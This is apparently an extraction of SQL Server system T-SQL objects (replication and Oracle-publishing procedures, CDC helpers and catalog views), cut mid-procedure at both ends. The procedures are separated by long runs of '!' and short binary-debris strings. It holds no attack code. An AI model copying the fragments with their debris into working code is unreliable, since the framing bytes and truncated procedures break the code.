		RAISERROR (21794, 16, -1, '''xactsetbatching'',''xactsetjob'', and ''xactsetjobinterval''')
    	RETURN (1)
	END
	
	-- Process xactsetbatching
	IF @propertyname = 'xactsetbatching'
	BEGIN
		-- If propertyvalue is NULL, return property value
		IF @propertyvalue IS NULL
		BEGIN
			-- Return parity of xactsetbatching flag
			set @cmd = @cmd + N'sys.sp_ORAhelpXactBatching'
	
			EXEC @retcode = @cmd	@publisher,
				@enabled = @batchenabled OUTPUT
				
			if @retcode <> 0 or @@error <> 0
				RETURN(1)	

			-- Return result set
			select @propertyname as N'propertyname',
				CASE isnull(@batchenabled,0)
					WHEN 1 THEN N'enabled'
					WHEN 0 THEN N'disabled'
				END as N'propertyvalue'
				
			RETURN (@retcode)
		END
	
		-- If set, property value must be either enable or disabled
		IF @propertyvalue NOT IN (N'enabled', N'disabled')
		BEGIN
			RAISERROR (21795, 16, -1, '''xactsetbatching''', '''enabled'' and ''disabled''')
    		RETURN (1)
		END
		
		IF @propertyvalue = N'enabled'
			SET @batchenabled = 1
		ELSE
			SET @batchenabled = 0	

		set @cmd = @cmd + N'sys.sp_ORASetXactBatching'
	
		EXEC @retcode = @cmd	@publisher,
				@enabled = @batchenabled

		RETURN (@retcode)
	
	END
	
	-- Process xactsetjob
	IF @propertyname = N'xactsetjob'
	BEGIN

		-- If propertyvalue is NULL, return property value
		IF @propertyvalue IS NULL
		BEGIN
			-- Return parity of xactsetjob flag
			set @cmd = @cmd + N'sys.sp_ORAhelpXactSetJob'
	
			EXEC @retcode = @cmd	@publisher,
				@enabled = @jobenabled OUTPUT
				
			if @retcode <> 0 or @@error <> 0
				RETURN(1)	

			-- Return result set
			select @propertyname as N'propertyname',
				CASE isnull(@jobenabled,0)
					WHEN 1 THEN N'enabled'
					WHEN 0 THEN N'disabled'
				END as N'propertyvalue'
				
			RETURN (@retcode)
		END
		
		-- If set, property value must be either enable or disabled
		IF @propertyvalue NOT IN (N'enabled', N'disabled')
		BEGIN
			RAISERROR (21795, 16, -1, '''xactsetjob''', '''enabled'' and ''disabled''')
    		RETURN (1)
		END
		
		IF @propertyvalue = N'enabled'
			SET @jobenabled = 1
		ELSE
			SET @jobenabled = 0	
		
		set @cmd = @cmd + N'sys.sp_ORAXactSetJob'
	
		EXEC @retcode = @cmd	@publisher,
				@enabled = @jobenabled
				
		RETURN (@retcode)
	
	END
	
	-- Process xactsetjobinterval
	IF @propertyname = N'xactsetjobinterval'
	BEGIN
		-- If propertyvalue is NULL, return property value
		IF @propertyvalue IS NULL
		BEGIN
			-- Return xactset job interval
			set @cmd = @cmd + N'sys.sp_ORAhelpXactSetJob'
	
			EXEC @retcode = @cmd	@publisher,
				@interval = @interval OUTPUT
				
			if @retcode <> 0 or @@error <> 0
				RETURN(1)	
			
			-- Return result set
			select @propertyname as N'propertyname',
				CONVERT(NVARCHAR(20),@interval) as N'propertyvalue'	
				
			RETURN (@retcode)
		END
	
		-- If set, property value must be a number greater than or equal to 0
		SET @interval = CONVERT(int,@propertyvalue)
		IF @interval < 0
		BEGIN
			RAISERROR (21796, 16, -1)
    		RETURN (1)
		END
		
		set @cmd = @cmd + N'sys.sp_ORAXactSetJob'
	
		EXEC @retcode = @cmd	@publisher,
				NULL,
				@interval,
				0,
				@interval,
				0
		RETURN (@retcode)
	
	END

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`a;<
	mj}`l0> 
8
--
-- Name:
--		fn_MSrepl_sourcetype
--
-- Description:
--		Formatted data type string
--
-- Inputs:
--		@type			data type
--		@length_min		minimum length
--		@length_max		maximum length
--		@precision_min	minimum precision
--		@precision_max	maximum precision
--		@scale_min		minimum scale
--		@scale_max		maximum scale
--
-- Returns:
--		CREATE TABLE - style string for type that displays ranges
--		if min != max
--
-- Security:
--		Internal
--
-- Notes:
--		Used for data type mapping help proc
--

CREATE FUNCTION sys.fn_MSrepl_sourcetype
(
	@type			sysname,
	@length_min		bigint,
	@length_max		bigint,
	@precision_min	bigint,
	@precision_max	bigint,
	@scale_min		int,
	@scale_max		int,
	@createparams	int
)
RETURNS
	nvarchar(1024)
AS
BEGIN
	DECLARE @source_info nvarchar(1024)

	-- Write data type
	SELECT @source_info = @type

	-- Determine if using length or prec/scale
	IF	(@precision_min IS NOT NULL OR
		@precision_max IS NOT NULL OR
		@scale_min IS NOT NULL OR
		@scale_max IS NOT NULL) AND
		((@createparams & 0x1) = 1 OR (@createparams &0x2) = 2)
	BEGIN
		SELECT @source_info = @source_info + '('
		
		IF @precision_min IS NOT NULL OR @precision_max IS NOT NULL
		BEGIN
			IF @precision_max > @precision_min
			BEGIN
				SELECT @source_info = @source_info + '[' + CONVERT(nvarchar(50), @precision_min) + '-' + CONVERT(nvarchar(50), @precision_max) + ']'
			END
			ELSE IF @precision_min IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @precision_min)
			END
			ELSE IF @precision_max IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @precision_max)
			END
		END
		ELSE IF @scale_min IS NOT NULL OR @scale_max IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + 'NULL'
		END

		IF @scale_min IS NOT NULL OR @scale_max IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + ','

			IF @scale_max > @scale_min
			BEGIN
				SELECT @source_info = @source_info + '[' + CONVERT(nvarchar(50), @scale_min) + '-' + CONVERT(nvarchar(50), @scale_max) + ']'
			END
			ELSE IF @scale_min IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @scale_min)
			END
			ELSE IF @scale_max IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @scale_max)
			END
		END

		SELECT @source_info = @source_info + ')'
	END
	ELSE IF ((@length_min IS NOT NULL AND @length_min > 0) OR
			 (@length_max IS NOT NULL AND @length_max > 0)) AND
			 ((@createparams & 4) = 4)
	BEGIN
		SELECT @source_info = @source_info + '('

		IF @length_max > @length_min
		BEGIN
			SELECT @source_info = @source_info + '[' + CONVERT(nvarchar(50), @length_min) + '-' + CONVERT(nvarchar(50), @length_max) + ']'
		END
		ELSE IF @length_min IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + CONVERT(nvarchar(50), @length_min)
		END
		ELSE IF @length_max IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + CONVERT(nvarchar(50), @length_max)
		END

		SELECT @source_info = @source_info + ')'
	END
	ELSE IF (@length_min = -1) AND (@length_max = -1)
	BEGIN
		-- Special case - MAX types
		SELECT @source_info = @source_info + N'(max)'
	END

	RETURN @source_info
END
0
r?@ }	8
--
-- Name:
--		sp_schemafilter
--
-- Description:
--		Update the schema filter set used to control those schema
--		whose tables are examined by sp_ORAenumpublishertables (Oracle specific)
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@operation		== operation ('add', 'drop', 'help')
--		@schema			== schema name 
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		public -- call must be sysadmin
--
-- Notes:
--		This stored procedure is provided so that the administrator of Oracle
--		publishing can control those schema that are not included when
--		displaying the tables eligible for publishing within the add publication
--		wizard.  A default filter set is created when the HREPL package is downloaded 
--		to the publisher.  This stored procedure allows the entries in the filter set
--		to be both viewed and updated.
--
--		Operation	Action
--
--		'add'	-	Adds the schema specified in @schema to the filter set
--				if not already present. 
--		'drop	-	Drop the schema specified in @schema from the filter set
--				if present.
--		'help'	-	Returns a result set identifying the schema currently 
--				in the filter set.  If @schema is specified, the result set
--				will be empty if the schema is not in the result set, or
--				will contain the single schema if it was present in the
--				result set. (default)		
--

CREATE PROCEDURE sys.sp_schemafilter
(
	@publisher		sysname,
	@schema			sysname = NULL,
	@operation		nvarchar(4) = N'help'
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	-- Security Check: requires sysadmin, done in sp_MSrepl_getpublisherinfo

	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@hreplOnly		= 1							
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Error if the publisher is not an Oracle publisher
	IF @publisher_type NOT LIKE 'ORACLE%'
	BEGIN
		RAISERROR (21687, 16, -1, @publisher, @publisher_type)
    		RETURN (1)
	END

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_ORASchemaFilter'
	
	EXEC @retcode = @cmd	@publisher,
				@schema,
				@operation
	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r
`O< n,r30e)@ 8 
-- add it
create view sys.pdw_health_alerts as
select
	alert_id,
	component_id,
	alert_name	collate database_default alert_name,
	state	collate database_default state,
	severity	collate database_default severity,
	type	collate database_default type,
	description	collate database_default description,
	condition	collate database_default condition,
	status	collate database_default status,
	condition_value
from sys._pdw_health_alerts
0 8CREATE VIEW INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE
AS
SELECT
	DB_NAME()			AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS TABLE_SCHEMA,
	t.name				AS TABLE_NAME,
	DB_NAME()			AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(c.schema_id)	AS CONSTRAINT_SCHEMA,
	c.name				AS CONSTRAINT_NAME
FROM
	sys.objects c JOIN sys.tables t
		ON t.object_id = c.parent_object_id
WHERE
	c.type IN ('C' ,'UQ' ,'PK' ,'F')
0E@ 8 
-- add it
create view sys.dm_pdw_nodes_os_nodes as
select *, convert(int, null) pdw_node_id from sys.dm_os_nodes
0D 8
create view sys.spt_parameters_system
as
    select
        object_id           = s_p.object_id,
                              -- Yukon persists number of 1 for both SPs and UDFs, but we need:
                              -- when o.type in ('P')                then 1 (or actual proc number)
                              -- when o.type in ('FN', 'TF', 'IF')   then 0
                              -- Above conditions should match the ones in sys.spt_all_procedures
        procedure_number    = convert(smallint, s_p.number * objectproperty(s_p.object_id, 'IsProcedure')),
        name                = s_p.name collate catalog_default,
        parameter_id        = s_p.parameter_id,
        system_type_id      = s_p.system_type_id,
        user_type_id        = s_p.user_type_id,
        "precision"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.system_parameters$ s_p
    where s_p.number = 1 -- Filter numbered system procedures because they are not expected in my private views.
0, 8
create procedure sys.sp_column_privileges_ex
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @column_name        sysname = null
)
as
    select
        TABLE_CAT       = TABLE_CATALOG,
        TABLE_SCHEM     = TABLE_SCHEMA,
        TABLE_NAME      = TABLE_NAME,
        COLUMN_NAME     = COLUMN_NAME,
        GRANTOR         = GRANTOR,
        GRANTEE         = GRANTEE,
        PRIVILEGE       = PRIVILEGE_TYPE,
        IS_GRANTABLE    = case IS_GRANTABLE
                            when 1 then 'YES'
                            when 0 then 'NO'
                            else null
                          end
    from sys.fn_remote_column_privileges(@table_server,
                                         @table_catalog,
                                         @table_schema,
                                         @table_name,
                                         NULL,
                                         NULL,
                                         NULL)
    where
        (COLUMN_NAME like @column_name or @column_name is NULL)
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, PRIVILEGE
0w P82dh>iY	0 8create procedure [sys].[sp_clearisreplicated]
(
	@object_id int,				-- table or indexed view
	@capture_instance sysname	-- capture instance 			
)
as
begin
    set nocount on
	declare @colname sysname
				,@qualifiedname nvarchar(517)
				,@retcode int
				,@system_type_id int
				,@user_type_id int
				,@action nvarchar(1000)
				,@raised_error int
				,@raised_message nvarchar(4000)
				,@trancount int
				,@column_id int
				,@mode bit
				,@notinarticle bit
	
	set @raised_error = 0
	set @mode = 0
	
	BEGIN TRY
		set @trancount = @@trancount
		
		begin tran
		save tran sp_clearisreplicated

		set @action = N'sp_MSget_qualified_name'
		exec sys.sp_MSget_qualified_name @object_id, @qualifiedname output

		--lock the table before checking and making metadata change
		set @action = N'LockMatchID'
		EXEC %%Object(MultiName = @qualifiedname).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)

		BEGIN

			DECLARE #hC CURSOR LOCAL FAST_FORWARD FOR 
			SELECT DISTINCT name, system_type_id, user_type_id, sc.column_id
			from sys.columns sc, cdc.captured_columns c, cdc.change_tables t 
			where sc.object_id = @object_id
			and sc.object_id = t.source_object_id
			and c.object_id = t.object_id
			and sc.column_id = c.column_id
			and t.capture_instance = @capture_instance
			and c.column_name not in  
					 (select column_name from cdc.captured_columns DD join cdc.change_tables DT
                        on DD.object_id = DT.object_id 
						where t.source_object_id = DT.source_object_id
						and DT.capture_instance <> @capture_instance)
				                
			OPEN #hC 
			FETCH #hC into @colname, @system_type_id, @user_type_id, @column_id
			WHILE (@@fetch_status <> -1) 
			begin
				-- Do not modify settings if column appears in sysarticlecolumns
				set @notinarticle = 0
				if object_id('sysarticlecolumns') is not null and object_id('sysarticles') is not null
				begin
					if not exists ( select C.name from sysarticles A join sys.columns C on A.objid = C.object_id
					              join sysarticlecolumns AC on A.artid = AC.artid
								  where AC.colid = C.column_id 
							      and A.objid    = @object_id
								  and AC.colid   = @column_id)
					begin
						set @notinarticle = 1
					end
				end

				if object_id('sysarticlecolumns') is null or object_id('sysarticles') is null or @mode = 1 or @notinarticle = 1
				begin			 
					set @action = N'SetReplicated' 
					EXEC %%ColumnEx(ObjectID = @object_id, Name = @colname).SetReplicated(Value = @mode)
	
					--image, text. ntext
					if (@system_type_id not in (34, 35, 99) and @user_type_id not in  (34, 35, 99)) --image, text. ntext
					begin
						set @action = N'SetLogForRepl' 
						EXEC %%ColumnEx(ObjectID = @object_id, Name = @colname).SetLogForRepl(Value = @mode)
					end
				end

				FETCH #hC into @colname, @system_type_id, @user_type_id, @column_id
			end 
			CLOSE #hC 
			DEALLOCATE #hC 

		END

		commit tran
		
	END TRY
	
	BEGIN CATCH
	
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_clearisreplicated
				commit tran
			end
		end	
		
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH
	
	if @raised_error = 0
		return 0
		
	raiserror(22834, 16, -1, @qualifiedname, @action, @raised_error, @raised_message)
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1
IC`p<~	o*b80)@  8create procedure sys.sp_MSadd_repl_job
  @name                   nvarchar(200),
  @subsystem              nvarchar(60) = 'TSQL',
  @owner_login_name		  nvarchar(256)= NULL,
  @server                 sysname      = NULL,
  @username               sysname      = NULL,
  @databasename           sysname      = NULL,
  @enabled                TINYINT      = 0,
  @freqtype               INT          = 2, -- 2 means OnDemand
  @freqinterval           INT          = 1,
  @freqsubtype            INT          = 1,
  @freqsubinterval        INT          = 1,
  @freqrelativeinterval   INT          = 1,
  @freqrecurrencefactor   INT          = 1,
  @activestartdate        INT          = 0,
  @activeenddate          INT          = 0,
  @activestarttimeofday   INT          = 0,
  @activeendtimeofday     INT          = 0,
  @nextrundate            INT          = 0,
  @nextruntime            INT          = 0,
  @runpriority            INT          = 0,
  @emailoperatorname      nvarchar(100)= NULL,
  @retryattempts          INT          = NULL,
  @retrydelay             INT          = 0,
  @command                nvarchar(4000)= NULL,
  @loghistcompletionlevel INT          = 2,
  @emailcompletionlevel   INT          = 0,
  @description            nvarchar(255)= NULL,
  @tagadditionalinfo      nvarchar(96) = NULL,
  @tagobjectid            INT          = NULL,
  @tagobjecttype          INT          = NULL,
  @cmdexecsuccesscode     INT          = 0,
  @category_name          sysname      = NULL, -- New for 7.0
  @failure_detection      BIT          = 0,
  @agent_id               INT          = NULL,
  @proxy_id               INT          = NULL,    -- Either provide @proxy_id or @job_login & @job_password                 
  @job_login              nvarchar(257)= NULL,
  @job_password           sysname      = NULL,
  @job_id                 BINARY(16)   = NULL OUTPUT,
  @job_step_uid           UNIQUEIDENTIFIER = NULL OUTPUT
AS
BEGIN
	DECLARE @retcode 	int,
			@count 		int,
			@count_str	nvarchar(4000),
			@len		int
	
	-- Verify that the job to be added is a repl job
	IF @subsystem NOT IN (N'TSQL', 
							N'Snapshot', 
							N'LogReader', 
							N'Distribution', 
							N'Merge', 
							N'QueueReader')
		OR @category_name NOT IN (N'REPL-Alert Response',
									N'REPL-Checkup',
									N'REPL-Distribution',
									N'REPL-Distribution Cleanup',
									N'REPL-History Cleanup',
									N'Replication',
									N'REPL-LogReader',
									N'REPL-Merge',
									N'REPL-QueueReader',
									N'REPL-Snapshot',
									N'REPL-Subscription Cleanup')

	BEGIN
		-- Only replication jobs or job schedules can be added, modified or dropped via replication stored procedures.
		RAISERROR(22538, 16, -1)
		RETURN 1
	END
    
	-- if the following settings are null we will set the values
	SELECT @owner_login_name 	= ISNULL(@owner_login_name, SUSER_SNAME()),
			@databasename		= ISNULL(@databasename, DB_NAME()),
			@count 				= 0

	-- If a job with this name already exist we will attempt
	-- to generate a new unique name and then continue ...
    WHILE EXISTS (SELECT * 
    			FROM msdb.dbo.sysjobs_view 
    			WHERE name = @name collate database_default)
    BEGIN
       	SELECT @count = @count + 1
       	
    	SELECT @count_str = N'.' + CONVERT(nvarchar(4000), @count)

	   	IF LEN(@name) + LEN(@count_str) < 200
	   	BEGIN
			SELECT @len = LEN(@name)
	   	END
	   	ELSE
	   	BEGIN
			SELECT @len = LEN(@name) - LEN(@count_str)
	   	END
	   	
		SELECT @name = LEFT(@name, @len) + @count_str
    END
    
	-- call internal add procedure
    EXEC @retcode = sys.sp_MSadd_repl_job_unsafe @name = @name,
											    @subsystem = @subsystem,
											    @owner_login_name = @owner_login_name,
											    @server = @server,
											    @username = @username,
											    @databasename = @databasename,
											    @enabled = @enabled,
											    @freqtype = @freqtype,
											    @freqinterval = @freqinterval,
											    @freqsubtype = @freqsubtype,
											    @freqsubinterval = @freqsubinterval,
											    @freqrelativeinterval = @freqrelativeinterval,
											    @freqrecurrencefactor = @freqrecurrencefactor,
											    @activestartdate = @activestartdate,
											    @activeenddate = @activeenddate,
											    @activestarttimeofday = @activestarttimeofday,
											    @activeendtimeofday = @activeendtimeofday,
											    @nextrundate = @nextrundate,
											    @nextruntime = @nextruntime,
											    @runpriority = @runpriority,
											    @emailoperatorname = @emailoperatorname,
											    @retryattempts = @retryattempts,
											    @retrydelay = @retrydelay,
											    @command = @command,
											    @loghistcompletionlevel = @loghistcompletionlevel,
											    @emailcompletionlevel = @emailcompletionlevel,
											    @description = @description,
											    @tagadditionalinfo = @tagadditionalinfo,
											    @tagobjectid = @tagobjectid,
											    @tagobjecttype = @tagobjecttype,
											    @cmdexecsuccesscode = @cmdexecsuccesscode,
											    @category_name = @category_name,
											    @failure_detection = @failure_detection,
											    @agent_id = @agent_id,
											    @proxy_id = @proxy_id,
											    @job_login = @job_login,
											    @job_password = @job_password,
											    @job_id = @job_id OUTPUT,
											    @job_step_uid = @job_step_uid OUTPUT
        
    RETURN @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`o<
PpL0Y *8
--
-- Name:
--		sp_MSrepl_validalateache
--
-- Description:
--		Validate the distributor side Oracle meta data (Oracle specific)
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@publication	== publication name
--		@article		== article name
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
--
-- Security:
--		internal
-- Requires Certificate signature for catalog access
--

CREATE PROCEDURE sys.sp_MSrepl_validatecache
(
	@publisher		sysname,
	@publication	sysname,
	@article		sysname
)
AS
BEGIN
	set nocount on

	declare @publication_id	int
	declare @pubname		sysname
	declare @artname		sysname
	declare @tableowner		sysname
	declare @tablename		sysname
	declare @retcode		int
	declare @fetch_status	int
	
	-- Verify @publication is valid, if specified
	if @publication <> '%'
	begin
		if not exists
			(select	p.name
			from	syspublications p,
					MSpublications b,
					master.dbo.sysservers s
			where	p.pubid = b.publication_id
			and	s.srvid = b.publisher_id
			and	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
			and	p.name = @publication)
		begin
			raiserror(21073, 16, -1)
			return 1
		end
	end	
	
	-- Verify @article is valid, if specified
	if @article <> '%' 
	begin
		if not exists
			(select	a.name
			from	sysarticles a,
					MSarticles m,
					syspublications p,
					MSpublications b,
					master.dbo.sysservers s
			where	a.pubid = p.pubid
			and	a.artid = m.article_id
			and	a.pubid = m.publication_id
			and	s.srvid = m.publisher_id
			and	p.pubid = b.publication_id
			and	s.srvid = b.publisher_id
			and	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
			and	a.name = @article
			and	((@publication = N'%') or (p.name = @publication)))
		begin
			raiserror(20046, 16, -1)
			return 1
		end
	end

    CREATE TABLE #RESULTSET (publication sysname, article sysname, tableowner sysname, tablename sysname, columnname nvarchar(30), index_or_constraint nvarchar(30), columnordinal int, type nvarchar(30), length int, prec int, scale int, isnullable bit, validate nvarchar(13), consstatus nvarchar(8), idxstatus nvarchar(8), description NVARCHAR(100))

	declare hC CURSOR LOCAL FAST_FORWARD for
	select	p.name, a.name, m.source_owner, m.source_object
	from	sysarticles a,
			MSarticles m,
			syspublications p,
			MSpublications b,
			master.dbo.sysservers s
	where	a.pubid = p.pubid
	  and	a.artid = m.article_id
	  and	a.pubid = m.publication_id
	  and	s.srvid = m.publisher_id
	  and	p.pubid = b.publication_id
	  and	s.srvid = b.publisher_id
	  and	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
	  and	((@article = N'%') or (a.name = @article))
	  and	((@publication = N'%') or (p.name = @publication))
	order by p.name, a.name  
	  
	open hC
	fetch hC into @pubname, @artname, @tableowner, @tablename
	
    while @@fetch_status <> -1
	begin
	
		-- sp_ORAvalidatecache will populate RESULTSET
		exec @retcode = sys.sp_ORAvalidatecache	@publisher,
												@pubname,
												@artname,
												@tableowner,
												@tablename

    	if @retcode <> 0 or @@error <> 0
    	begin
			close hC
			deallocate hC
			return 1
    	end
    	
   		fetch hC into @pubname, @artname, @tableowner, @tablename

	end

	close hC
	deallocate hC

	-- Return result set
	select * from #RESULTSET order by publication, article, tableowner, tablename, columnname, description

	return 0
end	
0n@ 8create procedure sys.sp_markpendingschemachange(
    @publication        sysname,
    @schemaversion      int = 0,
    @status             nvarchar(10) = 'active'          /* active, skipped */
    )
as  
begin
    set nocount on
    declare @retcode        int
    declare @pubid          uniqueidentifier
    declare @compatlevel    int
    declare @statusid       int
